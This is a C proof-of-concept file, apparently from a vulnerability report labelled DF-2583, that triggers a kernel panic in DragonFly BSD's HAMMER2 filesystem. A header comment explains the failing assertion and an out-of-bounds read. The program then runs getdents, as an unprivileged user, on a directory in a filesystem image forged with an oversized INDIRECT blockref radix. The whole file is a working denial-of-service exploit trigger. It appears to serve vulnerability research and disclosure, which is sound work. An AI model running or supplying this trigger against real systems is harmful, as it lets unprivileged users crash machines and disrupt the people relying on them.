DF-2583 / poc.c
/* * poc.c - DF-2583 trigger: readdir into a hammer2 directory whose * INDIRECT blockref has been forged with an oversized radix. * * The forged image (produced by forge.c) contains an INDIRECT bref whose * data_off radix has been inflated (e.g. radix 17 -> parent->bytes=128KB). * When the kernel loads this chain (during readdir/getdents of any entry * in the directory) it computes chain->bytes = 1<<radix and calls * hammer2_io_bread with that size. In hammer2_io_alloc, the KKASSERT * * KKASSERT(pbase != 0 && ((lbase + lsize - 1) & pmask) == pbase); * * fails for radix > 16 (lsize > HAMMER2_PBUFSIZE=64KB), panicking the * kernel. On a non-INVARIANTS kernel the assertion is skipped and the * OOB manifests later at hammer2_flush_core:1094 where * count = parent->bytes / sizeof(hammer2_blockref_t) * iterates far past the actual buffer (which is only HAMMER2_PBUFSIZE). * * Run as unprivileged user (maxx) on a hammer2 mount whose image was * forged by forge.c. readdir'ing the directory triggers the INDIRECT * load -> panic. * * Build: cc -O2 -o poc poc.c * Usage: ./poc <dir> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/syscall.h> /* DragonFly getdents = syscall 480 */ #ifndef SYS_getdents #define SYS_getdents 480 #endif int main(int argc, char **argv) { const char *dir; int fd, rc; ssize_t n; char buf[16384]; if (argc < 2) { fprintf(stderr, "usage: %s <dir>\n", argv[0]); return 2; } dir = argv[1]; /* opendir/getdents forces the kernel to descend into the directory's * INDIRECT bref, which is the forged chain. Just stat()ing the dir * itself is not enough -- the kernel caches the inode and never loads * the INDIRECT block. */ fd = open(dir, O_RDONLY | O_DIRECTORY); if (fd < 0) { perror("open"); return 1; } printf("[*] getdents(%s) -> triggers INDIRECT chain load\n", dir); fflush(stdout); n = syscall(SYS_getdents, fd, buf, sizeof(buf)); rc = errno; printf("[*] getdents returned %zd (errno=%d %s)\n", n, rc, n < 0 ? strerror(rc) : "ok"); fflush(stdout); /* If we get here, the kernel did NOT panic -- either the bug was * fixed (radix rejected/clamped before the KKASSERT) or the radix * we forged didn't make the chain loadable. */ close(fd); return 0; } |